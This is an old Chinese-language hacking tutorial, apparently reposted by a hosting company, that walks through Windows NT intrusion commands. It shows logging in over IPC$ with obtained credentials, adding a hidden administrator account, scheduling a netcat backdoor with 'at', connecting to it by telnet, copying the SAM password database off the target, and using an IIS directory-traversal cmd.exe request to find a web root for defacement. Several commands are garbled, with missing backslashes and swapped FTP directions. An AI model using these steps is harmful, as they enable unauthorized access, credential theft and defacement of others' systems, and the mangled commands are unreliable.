一般入侵所需要的几个常用命令,假如写得不好别笑啊。我觉得写这些更有用，不会像其他人相同写一些很无聊不现实的文章。当然这只是我的想法，我也有缺点的。 1：NET
只要您拥有某IP的用户名和密码，那就用IPC$做连接吧！
这里我们假如您得到的用户是hbx，密码是123456。假设对方IP为127.0.0.1
net use 127.0.0.1ipc$ "123456" /user:"hbx"
退出的命令是
net use 127.0.0.1ipc$ /delte
下面的*作您必须登陆后才能够用.登陆的方法就在上面.
----------------------
下面我们讲怎么创建一个用户，由于SA的权限相当于系统的终极用户.
我们加一个heibai的用户密码为lovechina
net user heibai lovechina /add
只要显示命令成功,那么我们能够把他加入Administrator组了.
net localgroup Administrators heibai /add
----------------------
这里是讲映射对方的C盘,当然其他盘也能够,只要存在就行了.我们这里把对方的C盘映射到本地的Z盘.
net use z:127.0.0.1c$
----------------------
net start telnet
这样能够打开对方的TELNET服务.
----------------------
这里是将Guest用户激活，guest是NT的默认用户，而且无法删除呢？不知道是否这样，我的2000就是删除不了
他。
net user guest /active:yes
----------------------
这里是把一个用户的密码改掉，我们把guest的密码改为lovechina，其他用户也能够的。只要有权限就行了呀！
net user guest lovechina
net命令果然强大啊！
2:at
一般一个入侵者入侵后都会留下后门，也就是种木马了，您把木马传了上去，怎么启动他呢？
那么需要用AT命令，这里假设您已登陆了那个服务器。
您首先要得到对方的时间，
net time 127.0.0.1
将会返回一个时间，这里假设时间为12:1,现在需要新建一个作业，其ID=1
at 127.0.0.1 12:3 nc.exe
这里假设了一个木马，名为NC.EXE,这个东西要在对方服务器上.
这里介绍一下NC,NC是NETCAT的简称,为了方便输入,一般会被改名.他是个TELNET服务,端口为99.
等到了12:3就能够连接到对方的99端口.这样就给对方种下了木马.
3:telnet
这个命令很实用,他能够和远方做连接，但是正常下需要密码、用户,但是您给对方种了木马,直接连到这个木马
打开的端口.
telnet 127.0.0.1 99
这样就能够连到对方的99端口.那您就能够在对方运行命令了,这个也就是肉鸡.
4:FTP
他能够将您的东西传到对方机子上,您能够去申请个支持FTP上传的空间,国内多的是,假如真的很难找到,我给个
http://WWW.51.NET,
不错的.当我们申请完后，他会给用户名,密码,连同FTP服务器.
在上传前需要登陆先，这里我们假设FTP服务器是
http://WWW.51.NET,
用户名是HUCJS,密码是654321
ftp www.51.net
他会需要输入用户,成功后会需要输入密码.
----------------------
下面先说上传,假设您需上传的文档是INDEX.HTM,他位于C:下,传到对方D:
get c:index.htm d:
假设您要把对方C盘下的INDEX.HTM,下到您的机子的D盘下
put c:index.htm d:
5:copy
下面我说说怎样把本地的文档复制到对方硬盘上去，需要建立好IPC$连接才有效。
这里我们把本地C盘下的index.htm复制到127.0.0.1的C盘下
copy index.htm 127.0.0.1c$index.htm
----------------------
假如您要复制到D盘下把C改为D，就行了！
copy index.htm 127.0.0.1d$index.htm
----------------------
假如您要把他复制到WINNT目录里
就要把输入
copy index.htm 127.0.0.1admin$index.htm
admin$是winnt
----------------------
要把对方的文档复制过来，顺便告诉大家NT的备份的数据库放在x:winntrepairsam._ sam._是数据库的文档名
下面就把127.0.0.1的数据库复制到本地C盘下
copy 127.0.0.1admin$repairsam._ c:
----------------------
6：set
假如您跑进了一部机子，而且想黑他（这思想只能在特别时候才准有），当然他的80端口要开，不然您黑给谁看。
这时需要用SET命令！
下面是我得到的结果！我来分析他，只是找主页在那而已。
COMPUTERNAME=PENTIUMII
ComSpec=D:WINNTsystem32cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=当前登陆者的IP，这里本来是显示我的IP，被我删除了
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
NUMBER_OF_PROCESSORS=1
Os2LibPath=D:WINNTsystem32os2dll;
OS=Windows_NT
Path=D:WINNTsystem32;D:WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=E:vlroot主页放在的地址，只要您看到PATH_TRANSLATED=的后面就是主页的存放地址。这里是
E:vlroot
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0303
PROMPT=$P$G
QUERY_STRING=/c set
REMOTE_ADDR=XX.XX.XX.XX
REMOTE_HOST=XX.XX.XX.XX
REQUEST_METHOD=GET
s cript_NAME=/s cripts/../../winnt/system32/cmd.exe
文章整理：西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!
